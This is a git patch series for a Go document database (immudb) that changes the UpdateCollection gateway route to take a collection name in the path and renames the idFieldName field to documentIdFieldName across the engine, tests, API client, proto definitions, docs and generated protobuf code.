a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -2332,7 +2332,7 @@ var file_documents_proto_rawDesc = []byte{ 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index 67a94e2727..f2146830e0 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -151,6 +151,24 @@ func request_DocumentService_UpdateCollection_0(ctx context.Context, marshaler r return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["name"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") + } + + protoReq.Name, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) + } + msg, err := client.UpdateCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err @@ -168,6 +186,24 @@ func local_request_DocumentService_UpdateCollection_0(ctx context.Context, marsh return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["name"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") + } + + protoReq.Name, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) + } + msg, err := server.UpdateCollection(ctx, &protoReq) return msg, metadata, err @@ -1115,7 +1151,7 @@ var ( pattern_DocumentService_GetCollections_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"collections"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_UpdateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "update"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_UpdateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collections", "name"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DeleteCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collections", "name"}, "", runtime.AssumeColonVerbOpt(true))) From 5227f45d6e45d4c3888b8f6270ba593ed19c6937 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 11 May 2023 10:56:19 -0300 Subject: [PATCH 0541/1062] chore(pkg/api): rename idFieldName to documentIdFieldName Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 48 ++++++------ embedded/document/engine_test.go | 6 +- pkg/api/httpclient/client.go | 28 +++---- pkg/api/openapi/apidocs.swagger.json | 8 +- pkg/api/proto/documents.proto | 8 +- pkg/api/protomodel/docs.md | 8 +- pkg/api/protomodel/documents.pb.go | 78 ++++++++++--------- pkg/database/document_database.go | 14 ++-- pkg/verification/verification.go | 4 +- .../actions/create_collections.go | 8 +- .../create_collections_test.go | 28 +++---- 11 files changed, 121 insertions(+), 117 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 6223401fcf..11dcf0d7c5 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -59,12 +59,12 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { return &Engine{engine}, nil } -func (e *Engine) CreateCollection(ctx context.Context, name, idFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error { - if idFieldName == "" { - idFieldName = DefaultDocumentIDField +func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error { + if documentIdFieldName == "" { + documentIdFieldName = DefaultDocumentIDField } - if idFieldName == DocumentBLOBField { + if documentIdFieldName == DocumentBLOBField { return fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) } @@ -84,14 +84,14 @@ func (e *Engine) CreateCollection(ctx context.Context, name, idFieldName string, columns := make([]*sql.ColSpec, 2+len(fields)) // add primary key for document id - columns[0] = sql.NewColSpec(idFieldName, sql.BLOBType, MaxDocumentIDLength, false, true) + columns[0] = sql.NewColSpec(documentIdFieldName, sql.BLOBType, MaxDocumentIDLength, false, true) // add columnn for blob, which stores the document as a whole columns[1] = sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false) for i, field := range fields { - if field.Name == idFieldName { - return fmt.Errorf("%w(%s): should not be specified", ErrReservedFieldName, idFieldName) + if field.Name == documentIdFieldName { + return fmt.Errorf("%w(%s): should not be specified", ErrReservedFieldName, documentIdFieldName) } if field.Name == DocumentBLOBField { @@ -118,7 +118,7 @@ func (e *Engine) CreateCollection(ctx context.Context, name, idFieldName string, name, false, columns, - []string{idFieldName}, + []string{documentIdFieldName}, )}, nil, ) @@ -135,7 +135,7 @@ func (e *Engine) CreateCollection(ctx context.Context, name, idFieldName string, } } - if len(index.Fields) == 1 && index.Fields[0] == idFieldName { + if len(index.Fields) == 1 && index.Fields[0] == documentIdFieldName { if !index.IsUnique { return fmt.Errorf("%w: index on id field must be unique", ErrIllegalArguments) } @@ -235,14 +235,14 @@ func getColumnForField(table *sql.Table, field string) (*sql.Column, error) { } func collectionFromTable(table *sql.Table) *protomodel.Collection { - idFieldName := docIDFieldName(table) + documentIdFieldName := docIDFieldName(table) indexes := table.GetIndexes() collection := &protomodel.Collection{ - Name: table.Name(), - IdFieldName: idFieldName, - Indexes: make([]*protomodel.Index, len(indexes)), + Name: table.Name(), + DocumentIdFieldName: documentIdFieldName, + Indexes: make([]*protomodel.Index, len(indexes)), } for _, col := range table.Cols() { @@ -252,7 +252,7 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { var colType protomodel.FieldType - if col.Name() == idFieldName { + if col.Name() == documentIdFieldName { colType = protomodel.FieldType_STRING } else { switch col.Type() { @@ -289,8 +289,8 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { return collection } -func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, idFieldName string) error { - if idFieldName == DocumentBLOBField { +func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, documentIdFieldName string) error { + if documentIdFieldName == DocumentBLOBField { return fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) } @@ -313,11 +313,11 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, id currIDFieldName := docIDFieldName(table) - if idFieldName != "" && idFieldName != currIDFieldName { + if documentIdFieldName != "" && documentIdFieldName != currIDFieldName { _, _, err := e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, - []sql.SQLStmt{sql.NewRenameColumnStmt(table.Name(), currIDFieldName, idFieldName)}, + []sql.SQLStmt{sql.NewRenameColumnStmt(table.Name(), currIDFieldName, documentIdFieldName)}, nil, ) if err != nil { @@ -600,13 +600,13 @@ func (e *Engine) ReplaceDocument(ctx context.Context, query *protomodel.Query, d return 0, nil, 0, err } - idFieldName := docIDFieldName(table) + documentIdFieldName := docIDFieldName(table) - provisionedDocID, docIDProvisioned := doc.Fields[idFieldName] + provisionedDocID, docIDProvisioned := doc.Fields[documentIdFieldName] if docIDProvisioned { // inject id comparisson into query idFieldComparisson := &protomodel.FieldComparison{ - Field: idFieldName, + Field: documentIdFieldName, Operator: protomodel.ComparisonOperator_EQ, Value: provisionedDocID, } @@ -634,7 +634,7 @@ func (e *Engine) ReplaceDocument(ctx context.Context, query *protomodel.Query, d } queryStmt := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(query.Collection, idFieldName)}, + []sql.Selector{sql.NewColSelector(query.Collection, documentIdFieldName)}, query.Collection, queryCondition, generateSQLOrderByClauses(table, query.OrderBy), @@ -668,7 +668,7 @@ func (e *Engine) ReplaceDocument(ctx context.Context, query *protomodel.Query, d if !docIDProvisioned { // add id field to updated document - doc.Fields[idFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) + doc.Fields[documentIdFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) } txID, _, err = e.upsertDocuments(ctx, sqlTx, query.Collection, []*structpb.Struct{doc}, false) @@ -734,7 +734,7 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs return newDocumentReader(r, func(_ DocumentReader) { sqlTx.Cancel() }), nil } -func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, idFieldName string, docAtRevision *EncodedDocumentAtRevision, err error) { +func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, documentIdFieldName string, docAtRevision *EncodedDocumentAtRevision, err error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return 0, "", nil, mayTranslateError(err) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index a3abd68f2c..42564a4316 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -772,11 +772,11 @@ func TestUpdateCollection(t *testing.T) { // get collection collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) - require.Equal(t, DefaultDocumentIDField, collection.IdFieldName) + require.Equal(t, DefaultDocumentIDField, collection.DocumentIdFieldName) require.Len(t, collection.Indexes, 5) }) - t.Run("update collection by adding changing idFieldName", func(t *testing.T) { + t.Run("update collection by adding changing documentIdFieldName", func(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), @@ -788,7 +788,7 @@ func TestUpdateCollection(t *testing.T) { // get collection collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) - require.Equal(t, "_docid", collection.IdFieldName) + require.Equal(t, "_docid", collection.DocumentIdFieldName) require.Len(t, collection.Indexes, 5) }) } diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index fc27df92ce..b0be525313 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -77,10 +77,10 @@ type ModelCloseSessionResponse = map[string]interface{} // ModelCollection defines model for modelCollection. type ModelCollection struct { - Fields *[]ModelField `json:"fields,omitempty"` - IdFieldName *string `json:"idFieldName,omitempty"` - Indexes *[]ModelIndex `json:"indexes,omitempty"` - Name *string `json:"name,omitempty"` + DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` + Fields *[]ModelField `json:"fields,omitempty"` + Indexes *[]ModelIndex `json:"indexes,omitempty"` + Name *string `json:"name,omitempty"` } // ModelComparisonOperator defines model for modelComparisonOperator. @@ -88,10 +88,10 @@ type ModelComparisonOperator string // ModelCreateCollectionRequest defines model for modelCreateCollectionRequest. type ModelCreateCollectionRequest struct { - Fields *[]ModelField `json:"fields,omitempty"` - IdFieldName *string `json:"idFieldName,omitempty"` - Indexes *[]ModelIndex `json:"indexes,omitempty"` - Name *string `json:"name,omitempty"` + DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` + Fields *[]ModelField `json:"fields,omitempty"` + Indexes *[]ModelIndex `json:"indexes,omitempty"` + Name *string `json:"name,omitempty"` } // ModelCreateCollectionResponse defines model for modelCreateCollectionResponse. @@ -207,11 +207,11 @@ type ModelProofDocumentRequest struct { // ModelProofDocumentResponse defines model for modelProofDocumentResponse. type ModelProofDocumentResponse struct { - CollectionId *int64 `json:"collectionId,omitempty"` - Database *string `json:"database,omitempty"` - EncodedDocument *[]byte `json:"encodedDocument,omitempty"` - IdFieldName *string `json:"idFieldName,omitempty"` - VerifiableTx *SchemaVerifiableTxV2 `json:"verifiableTx,omitempty"` + CollectionId *int64 `json:"collectionId,omitempty"` + Database *string `json:"database,omitempty"` + DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` + EncodedDocument *[]byte `json:"encodedDocument,omitempty"` + VerifiableTx *SchemaVerifiableTxV2 `json:"verifiableTx,omitempty"` } // ModelQuery defines model for modelQuery. @@ -255,7 +255,7 @@ type ModelSearchDocumentsResponse struct { // ModelUpdateCollectionRequest defines model for modelUpdateCollectionRequest. type ModelUpdateCollectionRequest struct { - IdFieldName *string `json:"idFieldName,omitempty"` + DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` } // ModelUpdateCollectionResponse defines model for modelUpdateCollectionResponse. diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 74f30fe00e..29fdb7ddaf 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -592,7 +592,7 @@ "name": { "type": "string" }, - "idFieldName": { + "documentIdFieldName": { "type": "string" }, "fields": { @@ -629,7 +629,7 @@ "name": { "type": "string" }, - "idFieldName": { + "documentIdFieldName": { "type": "string" }, "fields": { @@ -872,7 +872,7 @@ "type": "integer", "format": "int64" }, - "idFieldName": { + "documentIdFieldName": { "type": "string" }, "encodedDocument": { @@ -978,7 +978,7 @@ "modelUpdateCollectionRequest": { "type": "object", "properties": { - "idFieldName": { + "documentIdFieldName": { "type": "string" } } diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index e162342362..c7fcdaa592 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -50,7 +50,7 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { message CreateCollectionRequest { string name = 1; - string idFieldName = 2; + string documentIdFieldName = 2; repeated Field fields = 3; repeated Index indexes = 4; } @@ -84,7 +84,7 @@ message GetCollectionResponse { message Collection { string name = 1; - string idFieldName = 2; + string documentIdFieldName = 2; repeated Field fields = 3; repeated Index indexes = 4; } @@ -103,7 +103,7 @@ message DeleteCollectionResponse {} message UpdateCollectionRequest { string name = 1; - string idFieldName = 2; + string documentIdFieldName = 2; } message UpdateCollectionResponse {} @@ -221,7 +221,7 @@ message ProofDocumentRequest { message ProofDocumentResponse { string database = 1; uint32 collectionId = 2; - string idFieldName = 3; + string documentIdFieldName = 3; bytes encodedDocument = 4; schema.VerifiableTxV2 verifiableTx = 5; } diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index da638aa2fd..ab6657cfe7 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -212,7 +212,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| idFieldName | [string](#string) | | | +| documentIdFieldName | [string](#string) | | | | fields | [Field](#immudb.model.Field) | repeated | | | indexes | [Index](#immudb.model.Index) | repeated | | @@ -230,7 +230,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| idFieldName | [string](#string) | | | +| documentIdFieldName | [string](#string) | | | | fields | [Field](#immudb.model.Field) | repeated | | | indexes | [Index](#immudb.model.Index) | repeated | | @@ -566,7 +566,7 @@ | ----- | ---- | ----- | ----------- | | database | [string](#string) | | | | collectionId | [uint32](#uint32) | | | -| idFieldName | [string](#string) | | | +| documentIdFieldName | [string](#string) | | | | encodedDocument | [bytes](#bytes) | | | | verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | @@ -683,7 +683,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| idFieldName | [string](#string) | | | +| documentIdFieldName | [string](#string) | | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 7ae4f541a4..a1357152d1 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -160,10 +160,10 @@ type CreateCollectionRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - IdFieldName string `protobuf:"bytes,2,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` - Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` - Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + DocumentIdFieldName string `protobuf:"bytes,2,opt,name=documentIdFieldName,proto3" json:"documentIdFieldName,omitempty"` + Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` + Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` } func (x *CreateCollectionRequest) Reset() { @@ -205,9 +205,9 @@ func (x *CreateCollectionRequest) GetName() string { return "" } -func (x *CreateCollectionRequest) GetIdFieldName() string { +func (x *CreateCollectionRequest) GetDocumentIdFieldName() string { if x != nil { - return x.IdFieldName + return x.DocumentIdFieldName } return "" } @@ -473,10 +473,10 @@ type Collection struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - IdFieldName string `protobuf:"bytes,2,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` - Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` - Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + DocumentIdFieldName string `protobuf:"bytes,2,opt,name=documentIdFieldName,proto3" json:"documentIdFieldName,omitempty"` + Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` + Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` } func (x *Collection) Reset() { @@ -518,9 +518,9 @@ func (x *Collection) GetName() string { return "" } -func (x *Collection) GetIdFieldName() string { +func (x *Collection) GetDocumentIdFieldName() string { if x != nil { - return x.IdFieldName + return x.DocumentIdFieldName } return "" } @@ -714,8 +714,8 @@ type UpdateCollectionRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - IdFieldName string `protobuf:"bytes,2,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + DocumentIdFieldName string `protobuf:"bytes,2,opt,name=documentIdFieldName,proto3" json:"documentIdFieldName,omitempty"` } func (x *UpdateCollectionRequest) Reset() { @@ -757,9 +757,9 @@ func (x *UpdateCollectionRequest) GetName() string { return "" } -func (x *UpdateCollectionRequest) GetIdFieldName() string { +func (x *UpdateCollectionRequest) GetDocumentIdFieldName() string { if x != nil { - return x.IdFieldName + return x.DocumentIdFieldName } return "" } @@ -1898,11 +1898,11 @@ type ProofDocumentResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` - CollectionId uint32 `protobuf:"varint,2,opt,name=collectionId,proto3" json:"collectionId,omitempty"` - IdFieldName string `protobuf:"bytes,3,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` - EncodedDocument []byte `protobuf:"bytes,4,opt,name=encodedDocument,proto3" json:"encodedDocument,omitempty"` - VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,5,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` + Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` + CollectionId uint32 `protobuf:"varint,2,opt,name=collectionId,proto3" json:"collectionId,omitempty"` + DocumentIdFieldName string `protobuf:"bytes,3,opt,name=documentIdFieldName,proto3" json:"documentIdFieldName,omitempty"` + EncodedDocument []byte `protobuf:"bytes,4,opt,name=encodedDocument,proto3" json:"encodedDocument,omitempty"` + VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,5,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` } func (x *ProofDocumentResponse) Reset() { @@ -1951,9 +1951,9 @@ func (x *ProofDocumentResponse) GetCollectionId() uint32 { return 0 } -func (x *ProofDocumentResponse) GetIdFieldName() string { +func (x *ProofDocumentResponse) GetDocumentIdFieldName() string { if x != nil { - return x.IdFieldName + return x.DocumentIdFieldName } return "" } @@ -2077,11 +2077,12 @@ var file_documents_proto_rawDesc = []byte{ 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xab, 0x01, 0x0a, 0x17, 0x43, 0x72, 0x65, 0x61, + 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xbb, 0x01, 0x0a, 0x17, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, - 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06, @@ -2106,11 +2107,12 @@ var file_documents_proto_rawDesc = []byte{ 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x9e, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xae, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, - 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, @@ -2128,11 +2130,12 @@ var file_documents_proto_rawDesc = []byte{ 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x4f, 0x0a, 0x17, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, + 0x73, 0x65, 0x22, 0x5f, 0x0a, 0x17, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, + 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x68, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, @@ -2266,14 +2269,15 @@ var file_documents_proto_rawDesc = []byte{ 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 